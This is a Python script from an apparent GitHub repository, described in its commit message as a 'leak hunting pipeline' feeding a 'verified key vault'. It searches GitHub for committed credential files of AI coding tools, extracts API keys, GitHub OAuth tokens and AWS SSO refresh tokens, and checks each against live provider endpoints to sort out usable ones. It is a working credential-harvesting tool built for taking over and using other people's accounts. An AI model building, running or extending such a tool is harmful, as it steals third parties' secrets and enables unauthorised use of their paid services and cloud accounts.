chaos
5d215e1649
- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*, pivot miner, two-layer verify/content caches, per-provider verification) - usable_keys: verified key vault across 12 providers (deepseek, minimax, volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.) - .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow - NewAPI channel import scripts and CDP capture helpers - Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
777 lines
30 KiB
Python
777 lines
30 KiB
Python
#!/usr/bin/env python3
|
|
"""Hunt leaked AI-tooling credential files on GitHub.
|
|
|
|
Broad net for credential files of AI coding assistants / SDKs that devs
|
|
accidentally commit. For each kind we search GitHub, fetch the raw file, extract
|
|
credentials, then verify them against the real endpoint.
|
|
|
|
Targets:
|
|
* codeium : .codeium/config.json (apiKey UUID) -> api.codeium.com
|
|
* copilot : github-copilot hosts.json/apps.json (gho_/ghu_/ghp_/ghs_) -> api.github.com
|
|
* claude : .claude/.credentials.json / .claude.json (sk-ant- or OAuth) -> api.anthropic.com
|
|
* aws-sso : ~/.aws/sso/cache/*.json (refreshToken + clientId/Secret) -> oidc.us-east-1.amazonaws.com
|
|
* cline : claude-dev settings/*.json (apiKey per provider)
|
|
* continue : .continue/config.json (apiKey per provider)
|
|
* generic-env: ANTHROPIC_API_KEY / OPENROUTER_API_KEY / CODEIUM_API_KEY ...
|
|
|
|
GitHub is GFW-blocked from this host; all GitHub traffic routes via GH_PROXY.
|
|
Verification of each provider is direct unless blocked (handled per provider).
|
|
|
|
Outputs results/ai_tools/<tool>/{usable,dead,no_access,unknown,all.txt}.
|
|
"""
|
|
|
|
import argparse, base64, json, os, re, subprocess, sys, time, uuid
|
|
import urllib.request, urllib.error, urllib.parse
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
from pathlib import Path
|
|
|
|
HERE = Path(__file__).parent
|
|
sys.path.insert(0, str(HERE))
|
|
from verify_cache import CachedVerifier
|
|
from content_cache import ContentCache, parse_raw_url
|
|
RESULTS = HERE / "results" / "ai_tools"
|
|
RESULTS.mkdir(parents=True, exist_ok=True)
|
|
|
|
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
|
|
UA = "curl/8.5.0"
|
|
|
|
|
|
def _mkopener(proxy):
|
|
if proxy:
|
|
return urllib.request.build_opener(
|
|
urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
|
|
return urllib.request.build_opener(urllib.request.ProxyHandler({}))
|
|
|
|
|
|
_gh_op = None
|
|
def gh_opener():
|
|
global _gh_op
|
|
if _gh_op is None:
|
|
_gh_op = _mkopener(GH_PROXY)
|
|
return _gh_op
|
|
|
|
|
|
_dir_op = None
|
|
def direct_opener():
|
|
global _dir_op
|
|
if _dir_op is None:
|
|
_dir_op = _mkopener(None)
|
|
return _dir_op
|
|
|
|
|
|
def github_token():
|
|
t = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
|
|
if t:
|
|
return t
|
|
try:
|
|
o = subprocess.run(["gh", "auth", "token"], capture_output=True,
|
|
text=True, timeout=10)
|
|
if o.returncode == 0:
|
|
return o.stdout.strip()
|
|
except FileNotFoundError:
|
|
pass
|
|
p = Path.home() / ".config/gh/hosts.yml"
|
|
if p.exists():
|
|
for line in p.read_text().splitlines():
|
|
if line.strip().startswith("oauth_token:"):
|
|
return line.split(":", 1)[1].strip()
|
|
return None
|
|
|
|
|
|
def http_get(url, token=None, timeout=25, direct=False, headers=None):
|
|
h = {"User-Agent": UA, "Accept": "*/*"}
|
|
if token:
|
|
h["Authorization"] = f"Bearer {token}"
|
|
if headers:
|
|
h.update(headers)
|
|
req = urllib.request.Request(url, headers=h)
|
|
op = direct_opener() if direct else gh_opener()
|
|
try:
|
|
with op.open(req, timeout=timeout) as r:
|
|
return r.getcode(), r.read().decode("utf-8", "replace"), dict(r.headers)
|
|
except urllib.error.HTTPError as e:
|
|
try:
|
|
body = e.read().decode("utf-8", "replace")
|
|
except Exception:
|
|
body = ""
|
|
return e.code, body, dict(e.headers or {})
|
|
except Exception as e:
|
|
return 0, f"net:{type(e).__name__}:{e}", {}
|
|
|
|
|
|
def http_post(url, body, headers, timeout=25, direct=False):
|
|
h = {"User-Agent": UA, "Accept": "*/*",
|
|
"Content-Type": "application/json", **headers}
|
|
data = body if isinstance(body, bytes) else json.dumps(body).encode()
|
|
req = urllib.request.Request(url, data=data, headers=h, method="POST")
|
|
op = direct_opener() if direct else gh_opener()
|
|
try:
|
|
with op.open(req, timeout=timeout) as r:
|
|
return r.getcode(), r.read().decode("utf-8", "replace")
|
|
except urllib.error.HTTPError as e:
|
|
try:
|
|
return e.code, e.read().decode("utf-8", "replace")
|
|
except Exception:
|
|
return e.code, ""
|
|
except Exception as e:
|
|
return 0, f"net:{type(e).__name__}:{e}"
|
|
|
|
|
|
def gh_search(query, token, per_page=100):
|
|
for page in range(1, 11):
|
|
url = ("https://api.github.com/search/code?"
|
|
f"q={urllib.parse.quote(query)}&per_page={per_page}&page={page}")
|
|
code, body, hdrs = http_get(url, token, direct=False)
|
|
if code == 200:
|
|
try:
|
|
data = json.loads(body)
|
|
except Exception:
|
|
return
|
|
items = data.get("items", [])
|
|
for it in items:
|
|
yield it
|
|
if len(items) < per_page:
|
|
return
|
|
time.sleep(2.2)
|
|
elif code in (403, 429):
|
|
reset = hdrs.get("X-RateLimit-Reset")
|
|
wait = max(int(reset) - int(time.time()), 5) if reset else 30
|
|
print(f" rate-limited {wait}s", file=sys.stderr, flush=True)
|
|
time.sleep(wait + 1)
|
|
elif code == 422:
|
|
return
|
|
else:
|
|
print(f" search {code} for {query!r}", file=sys.stderr)
|
|
return
|
|
|
|
|
|
# ----------------------------- extraction ---------------------------------
|
|
# Each extractor takes raw file text and yields (cred, detail_dict)
|
|
|
|
CODEIUM_UUID = re.compile(r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}")
|
|
GH_TOKEN = re.compile(r"gh[opsu]_[A-Za-z0-9_]{20,255}")
|
|
SKANT = re.compile(r"sk-ant-[A-Za-z0-9_\-]{20,255}")
|
|
SKOAI = re.compile(r"sk-[A-Za-z0-9]{20,80}")
|
|
ENV_KEY = re.compile(r'\b([A-Z0-9_]*API_KEY|[A-Z0-9_]*TOKEN)\s*[:=]\s*["\']?([A-Za-z0-9_\-\.]{12,255})')
|
|
|
|
|
|
def extract_codeium(text):
|
|
# .codeium/config.json -> { "apiKey": "<uuid>" }
|
|
try:
|
|
j = json.loads(text)
|
|
ak = j.get("apiKey")
|
|
if isinstance(ak, str) and CODEIUM_UUID.search(ak):
|
|
yield ak, {"source": "config.json"}
|
|
# VS Code settings: { "codeium.apiKey": "<uuid>" }
|
|
if isinstance(j, dict):
|
|
for k, v in j.items():
|
|
if isinstance(k, str) and "codeium" in k.lower() and "apikey" in k.lower():
|
|
if isinstance(v, str) and CODEIUM_UUID.search(v):
|
|
yield v, {"source": f"settings:{k}"}
|
|
except Exception:
|
|
pass
|
|
# generic CODEIUM_API_KEY=...
|
|
for m in re.finditer(r'CODEIUM(?:_API)?_KEY\s*[:=]\s*["\']?([0-9a-fA-F\-]{36})', text):
|
|
yield m.group(1), {"source": "env"}
|
|
# "apiKey": "<uuid>" anywhere in a file that mentions codeium
|
|
if "codeium" in text.lower():
|
|
for m in re.finditer(r'"apiKey"\s*:\s*"([0-9a-fA-F\-]{36})"', text):
|
|
yield m.group(1), {"source": "inline-apikey"}
|
|
|
|
|
|
def extract_copilot(text):
|
|
# hosts.json: { "github.com": { "oauthToken": "gho_..." } }
|
|
# apps.json has oauth_token fields
|
|
try:
|
|
j = json.loads(text)
|
|
if isinstance(j, dict):
|
|
for _host, v in j.items():
|
|
if isinstance(v, dict):
|
|
for k in ("oauthToken", "oauth_token", "token", "accessToken"):
|
|
t = v.get(k)
|
|
if isinstance(t, str) and t.startswith(("gho_", "ghu_", "ghp_", "ghs_")):
|
|
yield t, {"field": k, "host": _host}
|
|
except Exception:
|
|
pass
|
|
for m in GH_TOKEN.finditer(text):
|
|
yield m.group(0), {"field": "regex"}
|
|
|
|
|
|
def _looks_like_secret(s):
|
|
"""Reject i18n strings, placeholder text, and non-ASCII junk."""
|
|
if not isinstance(s, str):
|
|
return False
|
|
if len(s) < 30:
|
|
return False
|
|
# only printable ASCII for header-bound tokens
|
|
if any(ord(c) > 127 for c in s):
|
|
return False
|
|
low = s.lower()
|
|
bad = ("your_api_key", "replace_with", "placeholder", "please enter",
|
|
"sk-ant-your", "xxx", "changeme", "paste ", "fill in", "api key",
|
|
"{{", "}}", "select ", "leave blank", "optional", "http://", "https://")
|
|
if any(b in low for b in bad):
|
|
return False
|
|
return True
|
|
|
|
|
|
def extract_claude(text):
|
|
# .claude/.credentials.json: { "claudeAiOauthToken": "eyJ..." }
|
|
try:
|
|
j = json.loads(text)
|
|
if isinstance(j, dict):
|
|
for k, v in j.items():
|
|
if isinstance(v, str) and ("token" in k.lower() or "key" in k.lower()):
|
|
if (v.startswith("sk-ant") or v.startswith("eyJ")) and _looks_like_secret(v):
|
|
yield v, {"field": k}
|
|
if isinstance(v, dict):
|
|
for k2, v2 in v.items():
|
|
if isinstance(v2, str) and ("token" in k2.lower() or "key" in k2.lower()):
|
|
if (v2.startswith("sk-ant") or v2.startswith("eyJ")) and _looks_like_secret(v2):
|
|
yield v2, {"field": f"{k}.{k2}"}
|
|
except Exception:
|
|
pass
|
|
for m in SKANT.finditer(text):
|
|
v = m.group(0)
|
|
if _looks_like_secret(v):
|
|
yield v, {"field": "sk-ant"}
|
|
# OAuth bearer tokens: base64 JWTs (eyJ...) of realistic length
|
|
for m in re.finditer(r"eyJ[A-Za-z0-9_\-]{30,}\.[A-Za-z0-9_\-]{10,}\.[A-Za-z0-9_\-]{10,}", text):
|
|
v = m.group(0)
|
|
if 100 < len(v) < 4000:
|
|
yield v, {"field": "oauth-jwt"}
|
|
|
|
|
|
def extract_aws_sso(text):
|
|
# ~/.aws/sso/cache/*.json: { startUrl, region, accessToken, expiresAt,
|
|
# clientId, clientSecret, refreshToken, registrationExpiresAt }
|
|
# Distinguish real AWS SSO from generic OAuth templates/configs.
|
|
try:
|
|
j = json.loads(text)
|
|
if not isinstance(j, dict):
|
|
return
|
|
rt = j.get("refreshToken")
|
|
cid = j.get("clientId")
|
|
cs = j.get("clientSecret")
|
|
start = j.get("startUrl", "")
|
|
if not (isinstance(rt, str) and isinstance(cid, str) and isinstance(cs, str)):
|
|
return
|
|
# Real AWS SSO cache markers
|
|
if "amazonaws.com" not in str(start) and not str(start).startswith("https://"):
|
|
# still allow if clientId looks like the SSO-registered UUID-ish form
|
|
pass
|
|
# Reject placeholders / generic OAuth
|
|
bad = ("your_", "replace", "example", "xxxx", "client id", "client secret",
|
|
"spotify", "reddit", "<", ">", "*")
|
|
blob = " ".join([str(rt), str(cid), str(cs)]).lower()
|
|
if any(b in blob for b in bad):
|
|
return
|
|
# AWS SSO clientId is a 32-hex-char value; refreshToken is long base64
|
|
if not re.fullmatch(r"[0-9a-fA-F]{32}", cid or ""):
|
|
return
|
|
if len(rt) < 50 or len(cs) < 20:
|
|
return
|
|
yield j, {
|
|
"clientId": cid,
|
|
"clientSecret": cs,
|
|
"region": j.get("region", "us-east-1"),
|
|
"startUrl": start,
|
|
"expiresAt": j.get("expiresAt"),
|
|
}
|
|
except Exception:
|
|
pass
|
|
|
|
|
|
def _valid_api_key(v):
|
|
if not isinstance(v, str):
|
|
return False
|
|
if len(v) < 20:
|
|
return False
|
|
if any(ord(c) > 127 for c in v):
|
|
return False
|
|
low = v.lower()
|
|
bad = ("your_api", "replace_", "placeholder", "sk-your", "sk-ant-your",
|
|
"xxxx", "changeme", "paste-", "fill in", "example", "get it at",
|
|
"create one", "{{", "}}", "<", ">", "api_key", "api key", "null",
|
|
"undefined", "todo", "delete this")
|
|
if any(b in low for b in bad):
|
|
return False
|
|
return True
|
|
|
|
|
|
def extract_cline(text):
|
|
# Cline: { "apiProvider": "...", "apiKey": "sk-...", "clineApiKey": "..." }
|
|
try:
|
|
j = json.loads(text)
|
|
if isinstance(j, dict):
|
|
prov = j.get("apiProvider") or j.get("provider") or "?"
|
|
for k, v in j.items():
|
|
if isinstance(v, str) and ("apiKey" in k or "ApiKey" in k):
|
|
if _valid_api_key(v):
|
|
yield v, {"provider": prov, "field": k}
|
|
for k, v in j.items():
|
|
if isinstance(v, dict):
|
|
for k2, v2 in v.items():
|
|
if isinstance(v2, str) and ("apiKey" in k2 or "ApiKey" in k2):
|
|
if _valid_api_key(v2):
|
|
yield v2, {"provider": prov, "field": f"{k}.{k2}"}
|
|
except Exception:
|
|
pass
|
|
|
|
|
|
def extract_continue(text):
|
|
# .continue/config.json: { "models": [ { "apiKey": "..." } ] }
|
|
try:
|
|
j = json.loads(text)
|
|
if isinstance(j, dict):
|
|
for m in j.get("models", []):
|
|
if isinstance(m, dict):
|
|
key = m.get("apiKey") or m.get("api_key")
|
|
if _valid_api_key(key):
|
|
yield key, {"model": m.get("model") or m.get("title"),
|
|
"provider": m.get("provider")}
|
|
for k, v in j.items():
|
|
if isinstance(v, str) and "apiKey" in k and _valid_api_key(v):
|
|
yield v, {"field": k}
|
|
if isinstance(v, dict):
|
|
key = v.get("apiKey")
|
|
if _valid_api_key(key):
|
|
yield key, {"field": k}
|
|
except Exception:
|
|
pass
|
|
|
|
|
|
def extract_generic_env(text):
|
|
for m in ENV_KEY.finditer(text):
|
|
name, val = m.group(1), m.group(2)
|
|
if val.lower() in ("your_key_here", "changeme", "placeholder", "xxx", "none"):
|
|
continue
|
|
if val.startswith(("sk-", "gh", "r8_", "nk-", "gsk_", "sk-ant")) or len(val) > 25:
|
|
yield val, {"env": name}
|
|
|
|
|
|
# ----------------------------- verification -------------------------------
|
|
# Each verifier returns (verdict, detail). Verdict in USABLE/DEAD/NO_ACCESS/
|
|
# NO_BALANCE/UNKNOWN. ONLY 401 => DEAD; everything non-401 is kept.
|
|
|
|
def verify_codeium(key):
|
|
# Codeium register/metrics endpoint; a registered UUID returns 200/404-ish,
|
|
# an invalid key returns 401/403. POST to register_user with the apiKey.
|
|
body = {"api_key": key, "ide_name": "vscode", "ide_version": "1.0.0",
|
|
"extension_version": "1.0.0", "device_id": str(uuid.uuid4())}
|
|
code, txt = http_post("https://api.codeium.com/register_user/", body,
|
|
{"User-Agent": "codeium-vscode"}, direct=True)
|
|
if code == 200:
|
|
return "USABLE", f"register_user 200: {txt[:80]}"
|
|
if code in (401, 403):
|
|
# Codeium returns 403 for bad key, 401 sometimes too. Per rules only 401=DEAD.
|
|
if code == 401:
|
|
return "DEAD", f"{code} {txt[:80]}"
|
|
return "NO_ACCESS", f"{code} {txt[:80]}"
|
|
if code in (402, 429):
|
|
return "NO_BALANCE", f"{code} {txt[:80]}"
|
|
if code == 0:
|
|
return "UNKNOWN", txt[:100]
|
|
return "NO_ACCESS", f"HTTP {code}: {txt[:80]}"
|
|
|
|
|
|
def verify_copilot(token):
|
|
# GitHub token validity: GET /user (401 bad). For copilot, also check the
|
|
# copilot token entitlement endpoint.
|
|
code, txt, _ = http_get("https://api.github.com/user", token=token, direct=True)
|
|
if code == 401:
|
|
return "DEAD", "401 bad credentials"
|
|
if code != 200:
|
|
if code == 0:
|
|
return "UNKNOWN", txt[:100]
|
|
return "NO_ACCESS", f"user HTTP {code}: {txt[:60]}"
|
|
try:
|
|
who = json.loads(txt).get("login", "?")
|
|
except Exception:
|
|
who = "?"
|
|
# copilot entitlement
|
|
code2, txt2, _ = http_get("https://api.github.com/copilot_internal/v2/token",
|
|
token=token, direct=True)
|
|
if code2 == 200:
|
|
try:
|
|
j = json.loads(txt2)
|
|
exp = j.get("expires_at") or j.get("exp")
|
|
return "USABLE", f"github user={who}; copilot token issued (exp={exp})"
|
|
except Exception:
|
|
return "USABLE", f"github user={who}; copilot 200"
|
|
if code2 in (401,):
|
|
return "DEAD", f"github ok but copilot 401"
|
|
# 404/403 means no copilot subscription but the token itself is valid
|
|
return "NO_ACCESS", f"github user={who}; copilot HTTP {code2}: {txt2[:60]}"
|
|
|
|
|
|
def verify_claude(cred):
|
|
# Could be sk-ant-... or an OAuth token.
|
|
if cred.startswith("sk-ant"):
|
|
code, txt = http_post("https://api.anthropic.com/v1/messages",
|
|
{"model": "claude-3-5-haiku-20241022", "max_tokens": 4,
|
|
"messages": [{"role": "user", "content": "hi"}]},
|
|
{"x-api-key": cred,
|
|
"anthropic-version": "2023-06-01"}, direct=True)
|
|
if code in (200, 400):
|
|
return "USABLE", f"anthropic {code}: {txt[:80]}"
|
|
if code in (401,):
|
|
return "DEAD", f"{code} {txt[:80]}"
|
|
if code in (402, 429):
|
|
return "NO_BALANCE", f"{code} {txt[:80]}"
|
|
if code == 403:
|
|
return "NO_ACCESS", f"{code} {txt[:80]}"
|
|
if code == 0:
|
|
return "UNKNOWN", txt[:100]
|
|
return "NO_ACCESS", f"HTTP {code}: {txt[:80]}"
|
|
# OAuth token: use it as Bearer against the Claude console-ish endpoint.
|
|
# Best check: GET https://api.anthropic.com/api/oauth/claude_api_key (401 if bad)
|
|
code, txt, _ = http_get("https://api.anthropic.com/api/oauth/claude_api_key",
|
|
token=cred, direct=True)
|
|
if code == 200:
|
|
return "USABLE", f"oauth 200: {txt[:80]}"
|
|
if code == 401:
|
|
return "DEAD", f"oauth 401 {txt[:60]}"
|
|
if code in (402, 429):
|
|
return "NO_BALANCE", f"{code} {txt[:60]}"
|
|
if code == 0:
|
|
return "UNKNOWN", txt[:100]
|
|
return "NO_ACCESS", f"HTTP {code}: {txt[:60]}"
|
|
|
|
|
|
def verify_aws_sso(blob, detail):
|
|
# Try to exchange the SSO refresh token via the OIDC token endpoint.
|
|
# This is the AWS SSO OIDC flow: CreateToken with grantType=refresh_token.
|
|
region = detail.get("region", "us-east-1")
|
|
url = f"https://oidc.{region}.amazonaws.com/token"
|
|
body = {"grantType": "refresh_token", "clientId": detail["clientId"],
|
|
"clientSecret": detail["clientSecret"],
|
|
"refreshToken": blob["refreshToken"]}
|
|
code, txt = http_post(url, body,
|
|
{"Content-Type": "application/json",
|
|
"User-Agent": "aws-sdk-js/2.0"}, direct=True, timeout=25)
|
|
if code == 200:
|
|
try:
|
|
j = json.loads(txt)
|
|
return "USABLE", f"SSO token refreshed; accessToken len={len(j.get('accessToken',''))}"
|
|
except Exception:
|
|
return "USABLE", f"SSO 200: {txt[:60]}"
|
|
if code in (400, 401):
|
|
# 400 invalid_grant => token dead; treat as DEAD only if 401 per rules,
|
|
# but invalid_grant 400 is also effectively dead. Keep rule: 401=DEAD, 400=NO_ACCESS.
|
|
if code == 401:
|
|
return "DEAD", f"{code} {txt[:80]}"
|
|
return "NO_ACCESS", f"{code} {txt[:80]}"
|
|
if code in (403,):
|
|
return "NO_ACCESS", f"{code} {txt[:80]}"
|
|
if code in (402, 429):
|
|
return "NO_BALANCE", f"{code} {txt[:80]}"
|
|
if code == 0:
|
|
return "UNKNOWN", txt[:100]
|
|
return "NO_ACCESS", f"HTTP {code}: {txt[:80]}"
|
|
|
|
|
|
def verify_openai_like(key):
|
|
# generic: try /v1/models as a validity probe. 401 = dead, 200/403/429 kept.
|
|
code, txt, _ = http_get("https://api.openai.com/v1/models", token=key, direct=True)
|
|
if code == 200:
|
|
return "USABLE", "openai /v1/models 200"
|
|
if code == 401:
|
|
return "DEAD", "401"
|
|
if code in (403, 404, 429, 402):
|
|
if code in (402, 429):
|
|
return "NO_BALANCE", f"HTTP {code}"
|
|
return "NO_ACCESS", f"HTTP {code}"
|
|
if code == 0:
|
|
return "UNKNOWN", txt[:80]
|
|
return "NO_ACCESS", f"HTTP {code}"
|
|
|
|
|
|
# ----------------------------- tool config -------------------------------
|
|
# kind -> (queries, extractor, verifier, result_subdir)
|
|
|
|
TOOLS = {
|
|
"codeium": {
|
|
"queries": [
|
|
'path:.codeium filename:config.json',
|
|
'.codeium config.json apiKey',
|
|
'filename:config.json "apiKey" "codeium"',
|
|
'CODEIUM_API_KEY',
|
|
'"codeium.checkoutEndpoint" extension:json',
|
|
'"codeium.telemetry.enabled" "apiKey" extension:json',
|
|
'"Codeium.apiKey" extension:json',
|
|
],
|
|
"extract": extract_codeium,
|
|
"verify": verify_codeium,
|
|
},
|
|
"copilot": {
|
|
"queries": [
|
|
'filename:hosts.json github.com oauthToken',
|
|
'filename:apps.json oauth_token copilot',
|
|
'"github.copilot" oauthToken extension:json',
|
|
'copilot-gpt-token apiKey',
|
|
'"vscode-github" "token" extension:json',
|
|
],
|
|
"extract": extract_copilot,
|
|
"verify": verify_copilot,
|
|
},
|
|
"claude": {
|
|
"queries": [
|
|
'filename:.credentials.json anthropic',
|
|
'claudeAiOauthToken extension:json',
|
|
'".claude" "credentials" extension:json',
|
|
'sk-ant-api03',
|
|
'ANTHROPIC_API_KEY sk-ant',
|
|
'".claude.json" "oauthToken"',
|
|
],
|
|
"extract": extract_claude,
|
|
"verify": verify_claude,
|
|
},
|
|
"aws-sso": {
|
|
"queries": [
|
|
'filename:sso cache refreshToken clientId extension:json',
|
|
'"refreshToken" "clientId" "clientSecret" extension:json',
|
|
'path:.aws/sso/cache extension:json',
|
|
'"oidc" "refreshToken" "clientSecret" extension:json',
|
|
'"startUrl" "refreshToken" "clientId" extension:json',
|
|
],
|
|
"extract": extract_aws_sso,
|
|
"verify": verify_aws_sso,
|
|
},
|
|
"cline": {
|
|
"queries": [
|
|
'"apiProvider" "apiKey" "claude-dev" extension:json',
|
|
'filename:cline_settings apiKey',
|
|
'"clineApiKey" extension:json',
|
|
'path:globalStorage saoudrizwan.claude-dev extension:json',
|
|
],
|
|
"extract": extract_cline,
|
|
"verify": verify_openai_like,
|
|
},
|
|
"continue": {
|
|
"queries": [
|
|
'filename:config.json ".continue" apiKey',
|
|
'"tabAutocompleteModel" "apiKey" extension:json',
|
|
'path:.continue config.json models apiKey',
|
|
],
|
|
"extract": extract_continue,
|
|
"verify": verify_openai_like,
|
|
},
|
|
"generic-env": {
|
|
"queries": [
|
|
'OPENROUTER_API_KEY sk-or-v1 extension:env',
|
|
'TOGETHER_API_KEY extension:env',
|
|
'FIREWORKS_API_KEY extension:env',
|
|
'GROQ_API_KEY gsk_ extension:env',
|
|
'ANTHROPIC_API_KEY sk-ant extension:env',
|
|
'CODESTRAL_API_KEY extension:env',
|
|
'GEMINI_API_KEY AIza extension:env',
|
|
'MISTRAL_API_KEY extension:env',
|
|
'DEEPSEEK_API_KEY sk- extension:env',
|
|
],
|
|
"extract": extract_generic_env,
|
|
"verify": verify_openai_like,
|
|
},
|
|
}
|
|
|
|
|
|
def to_raw(html_url):
|
|
return html_url.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
|
|
|
|
|
|
def fetch_raw(url, timeout=20):
|
|
try:
|
|
code, body, _ = http_get(url, direct=False, timeout=timeout,
|
|
headers={"User-Agent": "Mozilla/5.0"})
|
|
if code == 200:
|
|
return body
|
|
except Exception:
|
|
pass
|
|
return ""
|
|
|
|
|
|
def make_cached_fetch(cc, fetcher=fetch_raw):
|
|
"""fetch_raw replacement served by ContentCache (immutable blob SHA)."""
|
|
def cached(url, timeout=20):
|
|
repo, sha, path = parse_raw_url(url)
|
|
if repo and sha and path:
|
|
txt = cc.get(repo, path, sha)
|
|
if txt is not None:
|
|
return txt
|
|
txt = fetcher(url, timeout=timeout)
|
|
if txt:
|
|
cc.put(repo, path, sha, txt)
|
|
return txt
|
|
return fetcher(url, timeout=timeout)
|
|
return cached
|
|
|
|
|
|
def run(kind, token, workers, max_files, do_verify, no_content_cache=False):
|
|
cfg = TOOLS[kind]
|
|
outdir = RESULTS / kind
|
|
outdir.mkdir(parents=True, exist_ok=True)
|
|
print(f"\n{'='*60}\n[{kind}] searching GitHub...\n{'='*60}", flush=True)
|
|
|
|
files = {}
|
|
for i, q in enumerate(cfg["queries"], 1):
|
|
print(f" ({i}/{len(cfg['queries'])}) {q}", flush=True)
|
|
cnt = 0
|
|
for it in gh_search(q, token):
|
|
u = it.get("html_url", "")
|
|
if u and u not in files:
|
|
files[u] = it.get("repository", {}).get("full_name", "?")
|
|
cnt += 1
|
|
if len(files) >= max_files:
|
|
break
|
|
if cnt:
|
|
print(f" +{cnt} (total {len(files)})", flush=True)
|
|
if len(files) >= max_files:
|
|
break
|
|
print(f" candidate files: {len(files)}", flush=True)
|
|
|
|
# fetch raw and extract
|
|
print(f"\n[{kind}] fetching raw + extracting...", flush=True)
|
|
creds = {} # cred(or json blob for aws) -> info
|
|
done = 0
|
|
|
|
with ContentCache(force=no_content_cache) as cc:
|
|
cfetch = make_cached_fetch(cc)
|
|
def _job(u):
|
|
return u, cfetch(to_raw(u))
|
|
|
|
with ThreadPoolExecutor(max_workers=20) as pool:
|
|
futs = {pool.submit(_job, u): (u, repo) for u, repo in files.items()}
|
|
for f in as_completed(futs):
|
|
u, repo = futs[f]
|
|
done += 1
|
|
try:
|
|
_, text = f.result()
|
|
except Exception:
|
|
text = ""
|
|
if not text:
|
|
continue
|
|
try:
|
|
extracted = list(cfg["extract"](text))
|
|
except Exception as e:
|
|
extracted = []
|
|
for item in extracted:
|
|
cred, info = item
|
|
if isinstance(cred, dict):
|
|
key = cred.get("refreshToken", "") + "|" + info.get("clientId", "")
|
|
else:
|
|
key = cred
|
|
if key not in creds:
|
|
creds[key] = {"cred": cred, "info": info, "src": u, "repo": repo}
|
|
if done % 100 == 0:
|
|
print(f" {done}/{len(files)} creds={len(creds)} "
|
|
f"cache={cc.hits}hit/{cc.misses}fetch", flush=True)
|
|
st = cc.stats()
|
|
print(f" content cache: {st['hits']} hits, {st['misses']} fetched "
|
|
f"({st['bytes_served']} bytes from cache)", flush=True)
|
|
print(f" extracted {len(creds)} unique credentials", flush=True)
|
|
|
|
# save raw extraction
|
|
with open(outdir / "all.txt", "w") as f:
|
|
for key, rec in sorted(creds.items()):
|
|
info = rec["info"]
|
|
if isinstance(rec["cred"], dict):
|
|
f.write(f"BLOB|{rec['src']}|{json.dumps(info)}\n")
|
|
else:
|
|
f.write(f"{rec['cred']}|{rec['src']}|{json.dumps(info)}\n")
|
|
|
|
if not do_verify or not creds:
|
|
return
|
|
|
|
# verify
|
|
print(f"\n[{kind}] verifying {len(creds)} credentials (workers={workers})...", flush=True)
|
|
buckets = {"USABLE": [], "DEAD": [], "NO_ACCESS": [], "NO_BALANCE": [], "UNKNOWN": []}
|
|
start = time.time()
|
|
done = 0
|
|
|
|
def _verify(rec):
|
|
cred = rec["cred"]
|
|
if isinstance(cred, dict):
|
|
return cfg["verify"](cred, rec["info"])
|
|
return cfg["verify"](cred)
|
|
|
|
def _cred_key(rec):
|
|
c = rec["cred"]
|
|
return json.dumps(c, sort_keys=True) if isinstance(c, dict) else c
|
|
|
|
key_to_rec = {_cred_key(rec): rec for rec in creds.values()}
|
|
|
|
with CachedVerifier(f"aitools_{kind.lower()}",
|
|
lambda k: _verify(key_to_rec[k]),
|
|
force=os.environ.get("NO_CACHE") == "1") as ver:
|
|
with ThreadPoolExecutor(max_workers=workers) as pool:
|
|
futs = {pool.submit(ver, ck): rec for ck, rec in key_to_rec.items()}
|
|
for f in as_completed(futs):
|
|
rec = futs[f]
|
|
done += 1
|
|
try:
|
|
verdict, detail = f.result()
|
|
except Exception as e:
|
|
verdict, detail = "UNKNOWN", f"exc:{e}"
|
|
buckets.setdefault(verdict, []).append((rec, detail))
|
|
if done % 25 == 0:
|
|
el = time.time() - start
|
|
rate = done / el if el else 0
|
|
counts = " ".join(f"{k.lower()}={len(v)}" for k, v in buckets.items())
|
|
print(f" [{done:4d}/{len(creds)}] {counts} hit={ver.hits} live={ver.live} ({rate:.1f}/s)", flush=True)
|
|
print(f" cache: {ver.hits} hits, {ver.live} live, {len(ver._cache)} cached", flush=True)
|
|
|
|
for name, items in buckets.items():
|
|
with open(outdir / f"{name.lower()}.txt", "w") as f:
|
|
for rec, detail in items:
|
|
if isinstance(rec["cred"], dict):
|
|
f.write(f"BLOB|{rec['src']}|{json.dumps(rec['info'])}|{detail}\n")
|
|
else:
|
|
f.write(f"{rec['cred']}|{rec['src']}|{json.dumps(rec['info'])}|{detail}\n")
|
|
print(f" {name:11s}: {len(items):4d}", flush=True)
|
|
|
|
if buckets["USABLE"]:
|
|
print(f"\n === USABLE {kind} ===", flush=True)
|
|
for rec, detail in buckets["USABLE"]:
|
|
c = rec["cred"]
|
|
shown = json.dumps(rec["info"]) if isinstance(c, dict) else c[:60]
|
|
print(f" {shown} <- {rec['src']}\n {detail}", flush=True)
|
|
|
|
|
|
def main():
|
|
ap = argparse.ArgumentParser()
|
|
ap.add_argument("--tools", default="all",
|
|
help="Comma list, or 'all': " + ",".join(TOOLS.keys()))
|
|
ap.add_argument("--workers", type=int, default=8)
|
|
ap.add_argument("--max-files", type=int, default=1000)
|
|
ap.add_argument("--no-verify", action="store_true")
|
|
ap.add_argument("--no-content-cache", action="store_true",
|
|
help="ignore raw file content cache (always re-crawl)")
|
|
args = ap.parse_args()
|
|
|
|
token = github_token()
|
|
print(f"proxy={GH_PROXY} token={'yes' if token else 'NO (will rate-limit fast)'}", flush=True)
|
|
kinds = list(TOOLS.keys()) if args.tools == "all" else [
|
|
t.strip() for t in args.tools.split(",") if t.strip() in TOOLS]
|
|
print(f"tools: {kinds}", flush=True)
|
|
|
|
summary = {}
|
|
for kind in kinds:
|
|
run(kind, token, args.workers, args.max_files, not args.no_verify,
|
|
no_content_cache=args.no_content_cache)
|
|
outdir = RESULTS / kind
|
|
counts = {}
|
|
for b in ("usable", "dead", "no_access", "no_balance", "unknown"):
|
|
p = outdir / f"{b}.txt"
|
|
